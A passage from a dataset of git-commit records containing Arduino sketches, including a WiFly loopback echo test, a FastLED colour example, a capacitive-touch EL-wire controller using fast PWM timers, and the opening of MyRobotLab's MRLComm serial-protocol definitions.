test\n","repos":"okhiroyuki\/blynk-library,okhiroyuki\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,al1271\/blynk-library,radut\/blynk-library,flashvnn\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,johan--\/blynk-library,blynkkk\/blynk-library,okhiroyuki\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,csicar\/blynk-library,csicar\/blynk-library,al1271\/blynk-library,CedricFinance\/blynk-library,blynkkk\/blynk-library,flashvnn\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,csicar\/blynk-library,radut\/blynk-library,johan--\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,johan--\/blynk-library,CedricFinance\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,sstocker46\/blynk-library","old_file":"tests\/loopback\/EchoRN_XV_WiFly\/EchoRN_XV_WiFly.ino","new_file":"tests\/loopback\/EchoRN_XV_WiFly\/EchoRN_XV_WiFly.ino","new_contents":"#include <SPI.h>\n#include <WiFly.h>\n\n#define WLAN_SSID \"ssid\"\n#define WLAN_PASS \"pass\"\n#define SerialWiFly Serial1\n\n\/\/#include <SoftwareSerial.h>\n\/\/SoftwareSerial SerialWiFly(2, 3);\n\nconst char* host = \"192.168.0.104\";\nuint16_t port = 8888;\n\nvoid setup(void)\n{\n Serial.begin(115200);\n delay(10);\n\n SerialWiFly.begin(9600);\n WiFly.setUart(&SerialWiFly);\n WiFly.begin();\n\n Serial.println(\"Join....\");\n if (!WiFly.join(WLAN_SSID, WLAN_PASS)) {\n Serial.println(\"Association failed.\");\n while (1) {\n \/\/ Hang on failure.\n }\n }\n}\n\nvoid draw(char c, int qty = 1) {\n static int col = 0;\n while (qty-- > 0) {\n Serial.print(c);\n col = (col + 1) % 80;\n if (!col) {\n Serial.println();\n }\n }\n}\n\nvoid loop(void)\n{\n delay(5000);\n Serial.print(\"Connecting...\");\n\n WiFlyClient client(host, port);\n if (client.connect()) {\n Serial.println(F(\"Connected.\"));\n \/* Echo incoming data *\/\n while (client.connected()) {\n byte buf[128];\n int qty = client.available();\n if (qty) {\n qty = client.readBytes(buf, qty);\n qty = client.write((const uint8_t*)buf, qty);\n draw('.');\n }\n }\n } else {\n Serial.println(F(\"Connection failed\"));\n }\n client.stop();\n}\n\n","old_contents":"","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"3c5bc0e538d78dfbd6e272450e6d5a91569c5aae","subject":"Easing function to write pins too.","message":"Easing function to write pins too.\n","repos":"daithiocrualaoich\/nightlight","old_file":"NightLight\/NightLight.ino","new_file":"NightLight\/NightLight.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/daithiocrualaoich\/nightlight.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fbbf67fd771bce84ba515e795f110c9c6fdba825","subject":"CRGBSet_example.ino","message":"CRGBSet_example.ino\n\nBasic example of using CRGBSet with CRGBArray.","repos":"marmilicious\/FastLED_examples","old_file":"CRGBSet_example.ino","new_file":"CRGBSet_example.ino","new_contents":"#include \"FastLED.h\"\n#define NUM_LEDS 32\n\n\/\/CRGB leds[NUM_LEDS]; \/\/ Not using this. Using CRGBArray instead.\nCRGBArray<NUM_LEDS> leds;\n\nCRGBSet partA(leds(6,9)); \/\/ Define custom pixel range with a name.\nCRGBSet partB(leds(22,25)); \/\/ Define custom pixel range with a name.\n\nCHSV colorOne(0,222,255); \/\/ Define a custom color.\nCHSV colorTwo(82,222,255); \/\/ Define a custom color.\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n FastLED.addLeds<LPD8806, 11, 13, GRB>(leds, NUM_LEDS);\n FastLED.setBrightness(255);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n fill_rainbow(leds, NUM_LEDS, millis()\/10); \/\/ fill strip with moving rainbow.\n leds.fadeToBlackBy(230); \/\/ fade the whole strip down some.\n partA = colorOne; \/\/ set partA pixel color.\n partB = colorTwo; \/\/ set partB pixel color.\n FastLED.show();\n\n EVERY_N_SECONDS(4){ \/\/ Swaps the two custom colors every four seconds.\n CHSV temp = colorOne;\n colorOne = colorTwo;\n colorTwo = temp;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CRGBSet_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dcffd2ed7ba73c83a611e276a6d33affd92efe26","subject":"better smoothing","message":"better smoothing\n","repos":"foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples","old_file":"button_multichannel_rf5\/button_multichannel_rf5.ino","new_file":"button_multichannel_rf5\/button_multichannel_rf5.ino","new_contents":"\/**********************************************************\n Fast PWM Test\nDemostrates the generation of high speed PWM\nusing timers 1 and 4\nThere are two pieces of code:\nOne for pins 9, 10 and 11 using TIMER 1\nwith frequencies up to 62kHz\nOther for pins 6 and 13 using TIMER 4\nwith frequencies up to 187kHz\nHistory:\n 12\/12\/2014 - Version 1.0\n 22\/12\/2014 - Adding a missing OCR4C value\n\n http:\/\/r6500.blogspot.com\/2014\/12\/fast-pwm-on-arduino-leonardo.html\n \n***********************************************************\/\n\n\/\/ https:\/\/web.archive.org\/web\/20140101032749\/http:\/\/coolarduino.wordpress.com\/2012\/09\/19\/quasi-real-time-oscilloscope-remix\/\n\n\n\n\/**********************************************************\n Fast PWM on pins 9,10,11 (TIMER 1)\n \n Do not use analogWrite to pins 9, 10 or 11 if using \n this functions as they use the same timer.\n \n Those functions will probably conflict with the \n servo library.\n \n Uses 5 PWM frequencies between 61Hz and 62.5kHz\n \n**********************************************************\/\n\n\n\n\n\/**********************************************************\n Fast PWM on pins 6, 13 (High Speed TIMER 4)\n \n Do not use analogWrite to pins 6 or 13 if using \n this functions as they use the same timer.\n \n Those functions will conflict with the \n MSTIMER2 library.\n Uses 7 PWM frequencies between 2930Hz and 187.5kHz\n \n Timer 4 uses a PLL as input so that its clock frequency\n can be up to 96MHz on standard Arduino Leonardo.\n We limit imput frequency to 48MHz to generate 187.5kHz PWM\n If needed, we can double that up to 375kHz\n**********************************************************\/\n\n\/\/ Frequency modes for TIMER4\n#define PWM187k 1 \/\/ 187500 Hz\n#define PWM94k 2 \/\/ 93750 Hz\n#define PWM47k 3 \/\/ 46875 Hz\n#define PWM23k 4 \/\/ 23437 Hz\n#define PWM12k 5 \/\/ 11719 Hz\n#define PWM6k 6 \/\/ 5859 Hz\n#define PWM3k 7 \/\/ 2930 Hz\n\n\/\/ Direct PWM change variables\n#define PWM6 OCR4D\n#define PWM13 OCR4A\n\n\/\/ Terminal count\n#define PWM6_13_MAX OCR4C\n\n\/\/ Configure the PWM clock\n\/\/ The argument is one of the 7 previously defined modes\nvoid pwm613configure(int mode)\n{\n\/\/ TCCR4A configuration\nTCCR4A=0;\n\n\/\/ TCCR4B configuration\nTCCR4B=mode;\n\n\/\/ TCCR4C configuration\nTCCR4C=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ PLL Configuration\n\/\/ Use 96MHz \/ 2 = 48MHz\n\/\/ PLLFRQ=(PLLFRQ&0xCF)|0x30;\n PLLFRQ=(PLLFRQ&0xCF)|0x10; \/\/ Will double all frequencies\n\n\/\/ Terminal count for Timer 4 PWM\nOCR4C=255;\n}\n\n\/\/ Set PWM to D6 (Timer4 D)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet6(int value)\n{\nOCR4D=value; \/\/ Set PWM value\nDDRD|=1<<7; \/\/ Set Output Mode D7\nTCCR4C|=0x09; \/\/ Activate channel D\n}\n\n\/\/ Set PWM to D13 (Timer4 A)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet13(int value)\n{\nOCR4A=value; \/\/ Set PWM value\nDDRC|=1<<7; \/\/ Set Output Mode C7\nTCCR4A=0x82; \/\/ Activate channel A\n}\n\n\/*************** ADDITIONAL DEFINITIONS ******************\/\n\n\/\/ Macro to converts from duty (0..100) to PWM (0..255)\n#define DUTY2PWM(x) ((255*(x))\/100)\n\n\/**********************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Pins \n\nint hvDigitalIn = 19; \/\/ pf6 -> A1 D19\nint hvClock = 18; \/\/ pf7 -> A0 D18\n\nint clearPin = 6; \/\/ pd7 -> A7 D6#\nint sense1 = A6; \/\/ pd4 -> A6 D4\nint sense2 = A11; \/\/ pd6 -> A11 D12\nint sense3 = 8; \/\/ pb4 -> A8 D8\nint sense4 = 9; \/\/ pb5 -> A9 D9\n\nint elEnable = 20; \/\/ pf5 -> A2 D20\n\nint detect = 5;\n\nint rxled = 30;\nint txled = 22;\nint rstled = 7;\n\n\/\/ This is hacky. \n\/\/ Work around from this changing when the program is loaded from the IDE. \nint capSenseFrequency = 1;\n\n\/\/ State \n\n#define channelCount 4\nint switched[] = {0, 0, 0, 0};\nbool glow[] = {true, true, true, true};\nbool allGlow[] = {true, true, true, true};\nbool noGlow[] = {false, false, false, false};\n\n#define prevValSize 50\nint prevVal[prevValSize][channelCount];\n\n#define sampleCount 3\nint sampleAll[channelCount][sampleCount];\nint sampleAllVal[channelCount];\n\nint samples[sampleCount];\nint sampleVal = 0;\n\n\/\/ Helpers \n\nint tempGlow[channelCount];\nbyte tempGlow_unroll[channelCount * 2];\nvoid switchOutputs(bool* glow) { \n \/\/ Make pins on the layout correspond to the pins on the switch \n tempGlow[2] = glow[0];\n tempGlow[3] = glow[1];\n tempGlow[1] = glow[2];\n tempGlow[0] = glow[3];\n\n \/\/ Process bit flips ahead of sending serial signal \n PORTF = PORTF | B10000000;\n for (int i = 0; i < 8; i++) {\n if (tempGlow[i \/ 2] == 1) { \n tempGlow_unroll[i] = PORTF | B01000000;\n }\n else { \n tempGlow_unroll[i] = PORTF & B10111111;\n }\n }\n \n for (int i = 0; i < 8; i++) {\n PORTF = tempGlow_unroll[i];\n \/\/ digitalWrite(hvClock, LOW); \n PORTF = PORTF & B01111111;\n \/\/ digitalWrite(hvClock, HIGH);\n\/\/ PORTF = PORTF | B10000000;\n }\n PORTF = PORTF | B10000000;\n\n \n}\n\n\nvoid switchHalfOutputsA() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF | B01000000;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\nvoid switchHalfOutputsB() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF | B01000000;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\n\/\/ This could be fancier...\nvoid sort(int *a, int len)\n{\n for (int i = 1; i < len; ++i)\n {\n int j = a[i];\n int k;\n for (k = i - 1; (k >= 0) && (j < a[k]); k--)\n {\n a[k + 1] = a[k];\n }\n a[k + 1] = j;\n }\n}\n\n\/\/ This mutates the input array! Beware!\nfloat getMedian(int* array, int len) { \n\/\/ int len = sizeof(array);\n sort(array, len); \n float tempVal = 0;\n return array[(len \/ 2) + 1];\n \n\/\/ for (int i = (len \/ 2) - 1; i < (len \/ 2) + 2; i++) {\n\/\/ tempVal += array[i];\n\/\/ }\n\/\/ return tempVal \/ 3;\n}\n\nvoid ledsOff() {\n digitalWrite(rxled, LOW);\n digitalWrite(txled, LOW);\n digitalWrite(rstled, LOW);\n}\n\nvoid ledsOn() {\n digitalWrite(rxled, HIGH);\n digitalWrite(txled, HIGH);\n digitalWrite(rstled, HIGH);\n}\n\nunsigned long microsdelay;\n\n\/\/ Arduino I\/O is real slow. Opaque bitwise port manipulation ftw!\nint adcSensePorts[] = {B00000000, B00000001, B00000011, B00000100};\n\n\/\/ this is internal, use the interface functions below!\nbool toSense_internal[] = {true, true, true, true};\nint senseResults_internal[] = {0, 0, 0, 0};\n\nvoid initSense_withResistor(){ \n \/\/ listen to resistor\n\n switchOutputs(noGlow);\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n delayMicroseconds(100);\n \n\/\/ microsdelay = micros();\n while(bitRead(PINC, 6));\n switchOutputs(allGlow);\n switchHalfOutputsA();\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n\n\n switchOutputs(noGlow);\n delayMicroseconds(30);\n\n\/\/ microsdelay = micros() - microsdelay;\n}\n\nint spinner = 0;\nvoid initSense_withoutResistor() { \n \/\/ Hacky. Allows charge to disappate faster - kills flicker.\n\n\/\/ switchOutputs(allGlow);\n\/\/ microsdelay = 0;\n\/\/ while(bitRead(PINC, 6) || microsdelay < 20){\n\/\/ microsdelay++;\n\/\/ }\n \/\/ digitalWrite(elEnable, LOW);\n PORTF = PORTF & B11011111;\n for (int i = 0; i < 70; i++) {\n switchHalfOutputsA();\n spinner = 0;\n while(spinner < 50) { \n spinner++;\n }\n \n switchHalfOutputsB();\n spinner = 0;\n while(spinner < 50) { \n spinner++;\n }\n }\n\n \/\/ Make EL lamps float \n switchOutputs(noGlow);\n delayMicroseconds(30);\n}\n\nvoid senseChannels_internal(int chargeDelay_micros = 1000) { \n noInterrupts();\n \n \/\/ make sure pwm oscillator is running.\n pwm613configure(capSenseFrequency);\n pwmSet13(127);\n \n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n\n if (chargeDelay_micros < 1) {\n chargeDelay_micros = 1000;\n }\n \n\/\/ Set ADC initialization bits - make sure things haven't gotten misconfigured. \n \/\/ 6: right adjust bits \/\/ last 5 bits select ADC.\n ADMUX = adcSensePorts[3];\n \/\/ high speed mode \/ 0 \/ analog selection, extra bit.\n ADCSRB = B10100000;\n \/\/ disable adc\n ADCSRA = B00000110;\n\n initSense_withoutResistor();\n\n\/\/ Begin measurement sequence\n \/\/ digitalWrite(clearPin, LOW);\n PORTD = PORTD & B01111111;\n \n delayMicroseconds(chargeDelay_micros);\n\/\/ start measurement\n\/\/ Go backwords so that channel 4 has the lowest sensitivity and 1 has the highest.\n for(int i = 3; i >= 0; i--) {\n if (toSense_internal[i]) {\n \/\/ enable \/ start \/ auto trigger \/ interrupt flag \/ interrupt enable \/\/\/ scale \/\/\/ p.315\n ADCSRA = B11000110;\n delayMicroseconds(50);\n ADMUX = adcSensePorts[(i + 3) % 4];\n while ((ADCSRA & B01000000));\n sampleVal = ADCL; \/\/ store lower byte ADC\n sampleVal += ADCH << 8; \/\/ store higher bytes ADC\n senseResults_internal[i] = sampleVal;\n }\n else { \n ADMUX = adcSensePorts[(i + 3) % 4];\n senseResults_internal[i] = -1;\n }\n }\n\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n interrupts();\n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n return;\n}\n\n\/\/ Sensing interfaces! \n\/\/ Note that the channel here corresponds to the number written on the board, \n\/\/ which is shifted up by one from the indicies in the senseResults array.\nint senseChannel(int channel, int chargeDelay_micros = 1000, bool isGlow = true) {\n if (channel < 0 || channel > 4) { \n Serial.println(\"Warning: you might not be measuring the channel you intend to!\");\n ledsOn();\n }\n channel = (channel - 1) % 4; \/\/ sanitize your inputs. \n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = false; \n }\n toSense_internal[channel] = true;\n senseChannels_internal(chargeDelay_micros);\n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal[channel];\n}\n\nint* senseAll(int chargeDelay_micros = 1000, bool isGlow = true) {\n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = true; \n }\n senseChannels_internal(chargeDelay_micros);\n \n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal;\n}\n\n\/\/ The ardunio IDE insists on changing the frequency of the fast pwm when the board is programmed\n\/\/ This is a hack that accounts for that. \nvoid ensureCorrectFrequency() {\n switchOutputs(noGlow);\n ledsOff();\n\n capSenseFrequency = PWM187k;\n int read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n\/\/ Serial.print(\"187: \");\n\/\/ Serial.println(read187k);\n \n \n capSenseFrequency = PWM94k;\n int read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n\/\/ Serial.print(\"94: \");\n\/\/ Serial.println(read94k);\n\n if (read94k > read187k) { \n capSenseFrequency = PWM94k;\n digitalWrite(rxled, HIGH);\n if (read94k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n else{ \n capSenseFrequency = PWM187k;\n digitalWrite(rstled, HIGH);\n if (read187k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n ledsOff();\n}\n\n\/\/\/\/\/\/\/\/\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\/\/\/\/\/\/\/\/\/\/\/\n\nint* senseResults;\n\nvoid setup() {\n Serial.begin(9600); \n\n \/\/ hvSwitch communication\n pinMode(hvDigitalIn, OUTPUT);\n pinMode(hvClock, OUTPUT);\n\n pinMode(clearPin, OUTPUT);\n digitalWrite(clearPin, LOW);\n\n pinMode(10, OUTPUT);\n\n \n pinMode(elEnable, OUTPUT);\n digitalWrite(elEnable, HIGH);\n\n pinMode(detect, INPUT);\n\n pinMode(sense1, INPUT);\n pinMode(sense2, INPUT);\n pinMode(sense3, INPUT);\n pinMode(sense4, INPUT);\n\n pinMode(rxled, OUTPUT);\n pinMode(txled, OUTPUT);\n pinMode(rstled, OUTPUT); \n \n analogReference(DEFAULT);\n \n \/\/ this should be called after the clear pin is set low\n ensureCorrectFrequency();\n}\n\n#define ENABLE_LOGGING\n\n\n\n\/\/ Do this instead of using a bunch of individual Serial.print statements to save time!\n\/\/ If your wire starts flashing when you are logging, this might be why!\n#define printLineSize 200\nchar logBuffer[printLineSize];\n\n#ifdef ENABLE_LOGGING\nchar tempLogBuffer[printLineSize];\n\n\/\/\n#define subBufferSize 50\nchar signalBuffer[subBufferSize];\nchar impulseBuffer[subBufferSize];\n\/\/ These are in reference to the impulse, which is itself a funny denoising derivative-y thing\nchar tailMeanBufferBuffer[subBufferSize];\nchar derivativeBuffer[subBufferSize];\n\n#endif\n\nint val = 0;\n\nint minimum = 10000;\nint maximum = 0;\n\n#define senseSize 31\nint senseHistory[channelCount][senseSize];\nint senseHistoryTemp[senseSize];\nint senseHistoryIter = 0;\n\nbool isTouched = false;\nbool whereTouched[] = {false, false, false, false};\n\nfloat change = 0;\n\nbool shouldGlow = true;\n\nbool isOn = true;\nbool justSwitched = false;\nint switchedCount = 0;\n\n#define smoothedSenseSize 15\nint smoothedSenseHistory[channelCount][smoothedSenseSize];\nint smoothedSenseIter = 0;\n\n\n#define smoothedTouchWindow 4\nfloat smoothedSampleMedian = 0;\nfloat smoothedSampleMin = 0;\nfloat smoothedSampleNew = 0;\nint smoothedSampleTemp[smoothedSenseSize - smoothedTouchWindow];\n\nint channelMean[] = {0, 0, 0, 0};\nint chanImpulse; \nint chanPrevImpulse;\nint chanChangeCount;\n\n\/\/ Here are the main levers which control the operation of this program\n#define increaseWindow 11\n#define pureIncreaseThreshold 7\n#define increaseThresholdWithImpulse 5\n#define impulseThreshold 6\n#define glowTime_us 6800\n\nvoid loop() {\n senseResults = senseAll(1300, true);\n \n smoothedSenseIter = (smoothedSenseIter + 1) % smoothedSenseSize;\n\n\n \/\/ Get new smoothed value\n for (int channel = 0; channel < channelCount; channel++) { \n senseHistory[channel][senseHistoryIter] = senseResults[channel];\n senseHistoryIter++;\n if (senseHistoryIter == senseSize) { \n senseHistoryIter = 0;\n }\n\n for (int i = 0; i < senseSize; i++) {\n senseHistoryTemp[i] = senseHistory[channel][i];\n }\n\n sort(senseHistoryTemp, senseSize);\n \n smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[0];\n \n for (int i = 0; i < 10; i++) {\n if (senseHistoryTemp[i + 1] - senseHistoryTemp[i] > 6) { \n smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[i + 1];\n }\n }\n\n\/\/ if(senseHistoryIter==0 && channel == 2){\n\/\/ for(int i=0; i<25; i++){\n\/\/ Serial.print(senseHistoryTemp[i]);\n\/\/ Serial.print(\", \");\n\/\/ }\n\/\/ Serial.println();\n\/\/ \n\/\/ }\n \n }\n\n for (int channel = 0; channel < channelCount; channel++) { \n channelMean[channel] = (channelMean[channel] + \n smoothedSenseHistory[channel][(smoothedSenseIter + 1 + smoothedSenseSize) % smoothedSenseSize]) \/ 2;\n\n chanImpulse = channelMean[channel] - smoothedSenseHistory[channel][smoothedSenseIter];\n chanPrevImpulse = channelMean[channel] - smoothedSenseHistory[channel][(smoothedSenseIter + smoothedSenseSize - 1) % smoothedSenseSize];\n chanChangeCount = 0;\n\n int senseDiff;\n for (int steps = 0; steps < increaseWindow; steps++) {\n senseDiff = smoothedSenseHistory[channel][(smoothedSenseIter - (steps + 1) + smoothedSenseSize) % smoothedSenseSize]\n - smoothedSenseHistory[channel][(smoothedSenseIter - (steps) + smoothedSenseSize) % smoothedSenseSize];\n \n if (senseDiff > 0) {\n chanChangeCount += 1; \n if (steps < 3) {\n chanChangeCount += 1; \n }\n if (steps == 0) {\n chanChangeCount += 1; \n }\n }\n }\n\n \n \n if (switchedCount == 0 && \n ((chanImpulse > impulseThreshold && chanChangeCount >= increaseThresholdWithImpulse) || \n (chanChangeCount >= pureIncreaseThreshold)) ){\n isTouched = true;\n whereTouched[channel] = true;\n#ifndef ENABLE_LOGGING\n sprintf(logBuffer, \"Switched channel: %d Measurement: %d Impulse: %d Recent transition count: %d\",\n channel, smoothedSenseHistory[channel][smoothedSenseIter], chanImpulse, chanChangeCount);\n Serial.println(logBuffer);\n#endif\n }\n\n#ifdef ENABLE_LOGGING\n\n \/\/ EXEX - Logging inline - pull into a function!\n int tailMeanlen;\n int derivativelen;\n int impulselen;\n\n switch (channel) {\n case 0:\n impulselen = sprintf(impulseBuffer, \"Imp: %d, \",\n chanImpulse);\n derivativelen = sprintf(derivativeBuffer, \"Inc Adj: %d, \",\n chanChangeCount);\n tailMeanlen = sprintf(tailMeanBufferBuffer, \"Tail Diff: %d, \",\n chanPrevImpulse);\n\n break;\n\n case 1:\n case 2:\n case 3:\n impulselen += sprintf(impulseBuffer + impulselen, \"%d, \",\n chanImpulse);\n derivativelen += sprintf(derivativeBuffer + derivativelen, \"%d, \",\n chanChangeCount);\n tailMeanlen += sprintf(tailMeanBufferBuffer + tailMeanlen, \"%d, \",\n chanPrevImpulse);\n\n break;\n\n default:\n break;\n }\n#endif\n \n }\n\n#ifdef ENABLE_LOGGING\n int signallen;\n for (int chan = 0; chan < channelCount; chan++) {\n switch (chan) {\n case 0:\n for (int l = 0; l < printLineSize; l++) {\n tempLogBuffer[l] = logBuffer[l];\n }\n signallen = sprintf(signalBuffer, \"Signal: %d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n case 1:\n case 2:\n case 3:\n signallen += sprintf(signalBuffer + signallen, \"%d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n default:\n Serial.print(\"blah \");\n break;\n }\n }\n\n snprintf(logBuffer, printLineSize, \"%s %s %s %s %s\",\n signalBuffer,\n impulseBuffer, \"\",\n \/\/ tailMeanBufferBuffer,\n derivativeBuffer, \"\");\n\n Serial.println(logBuffer);\n#endif\n\n \n\n if (isTouched && switchedCount == 0) { \n isTouched = false;\n for (int chan = 0; chan < channelCount; chan++) {\n if (whereTouched[chan]) { \n#ifdef ENABLE_LOGGING\n Serial.println(\"SWITCHED CHANNEL!\");\n Serial.println(chan);\n#endif\n whereTouched[chan] = false;\n glow[chan] = !glow[chan];\n }\n }\n switchedCount = 1.5 * smoothedSenseSize;\n }\n \n switchOutputs(glow);\n\n if (switchedCount > 0) {\n switchedCount--;\n }\n\n delayMicroseconds(glowTime_us);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'button_multichannel_rf5\/button_multichannel_rf5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b78856b0da8660bb558caa07515c51132b79baac","subject":"Create MRLCommOculus.ino","message":"Create MRLCommOculus.ino","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,sstocker46\/pyrobotlab,sstocker46\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,mecax\/pyrobotlab,sstocker46\/pyrobotlab,mecax\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Alessandruino\/MRLCommOculus.ino","new_file":"home\/Alessandruino\/MRLCommOculus.ino","new_contents":"\/**\n*\n* @author GroG (at) myrobotlab.org\n*\n* This file is part of MyRobotLab.\n*\n* Enjoy !\n*\n* MRLComm.ino\n* -----------------\n* Purpose: support servos, sensors, analog & digital polling\n* oscope, motors, range sensors, pingdar & steppers.\n*\n* Requirements: MyRobotLab running on a computer & a serial connection\n*\n*\/\n\n#include <Servo.h>\n\n\/\/ ---------- MRLCOMM FUNCTION INTERFACE BEGIN -----------\n#define MRLCOMM_VERSION\t\t\t\t20\n\n\/\/ serial protocol functions\n#define MAGIC_NUMBER \t\t\t\t\t170 \/\/ 10101010\n\n\/\/ MRL ---> Arduino methods\n#define DIGITAL_WRITE \t\t\t0\n#define DIGITAL_VALUE \t\t\t1\n#define ANALOG_WRITE \t\t\t2\n#define ANALOG_VALUE \t\t\t3\n#define PINMODE \t\t\t4\n#define PULSE_IN \t\t\t5\n#define SERVO_ATTACH \t\t\t6\n#define SERVO_WRITE \t\t\t7\n#define SERVO_SET_MAX_PULSE \t\t\t8\n#define SERVO_DETACH \t\t\t9\n#define SET_PWM_FREQUENCY \t\t\t11\n#define SET_SERVO_SPEED \t\t12\n#define ANALOG_READ_POLLING_START\t \t13\n#define ANALOG_READ_POLLING_STOP\t \t14\n#define DIGITAL_READ_POLLING_START\t \t15\n#define DIGITAL_READ_POLLING_STOP\t\t16\n#define SET_ANALOG_TRIGGER\t\t\t\t17\n#define REMOVE_ANALOG_TRIGGER\t\t\t18\n#define SET_DIGITAL_TRIGGER\t\t\t\t19\n#define REMOVE_DIGITAL_TRIGGER\t\t\t20\n#define DIGITAL_DEBOUNCE_ON\t\t\t\t21\n#define DIGITAL_DEBOUNCE_OFF\t\t\t22\n#define DIGITAL_TRIGGER_ONLY_ON\t\t\t23\n#define DIGITAL_TRIGGER_ONLY_OFF\t\t24\n#define SET_SERIAL_RATE\t\t\t\t\t25\n#define GET_MRLCOMM_VERSION\t\t\t\t26\n#define SET_SAMPLE_RATE\t\t\t\t\t27\n#define SERVO_WRITE_MICROSECONDS\t\t28\n#define MRLCOMM_ERROR\t\t\t\t\t29\n\n#define PINGDAR_ATTACH \t30\n#define PINGDAR_START \t\t31\n#define PINGDAR_STOP \t\t32\n#define PINGDAR_DATA \t\t\t\t\t33\n\n#define SENSOR_ATTACH \t\t\t\t\t34\n#define SENSOR_POLLING_START\t\t\t35\n#define SENSOR_POLLING_STOP\t\t\t\t36\n#define SENSOR_DATA \t\t\t\t\t37\n\n#define SERVO_SWEEP_START\t\t\t\t38\n#define SERVO_SWEEP_STOP\t\t\t\t39\n\n\/\/ callback event - e.g. position arrived\n\/\/ MSG MAGIC | SZ | SERVO-INDEX | POSITION\n#define SERVO_EVENTS_ENABLE\t\t\t\t40\n#define SERVO_EVENT\t\t\t\t\t41\n\n#define LOAD_TIMING_ENABLE\t\t\t\t42\n#define LOAD_TIMING_EVENT\t\t\t\t43\n\n#define STEPPER_ATTACH\t\t\t\t\t44\n#define STEPPER_MOVE\t\t\t\t\t45\n#define STEPPER_STOP\t\t\t\t\t46\n#define STEPPER_RESET\t\t\t\t\t47\n\n#define STEPPER_EVENT\t\t\t\t\t48\n#define STEPPER_EVENT_STOP\t\t\t\t1\n\n#define STEPPER_TYPE_POLOLU \t\t\t1\n\n#define CUSTOM_MSG\t\t\t\t\t\t50\n\n\/\/ servo event types\n#define SERVO_EVENT_STOPPED\t\t\t1\n#define SERVO_EVENT_POSITION_UPDATE \t2\n\n\/\/ error types\n#define ERROR_SERIAL\t\t\t\t\t1\n#define ERROR_UNKOWN_CMD\t\t\t\t2\n\n\/\/ sensor types\n#define SENSOR_ULTRASONIC\t\t\t\t1\n\n\n\/\/ need a method to identify type of board\n\/\/ 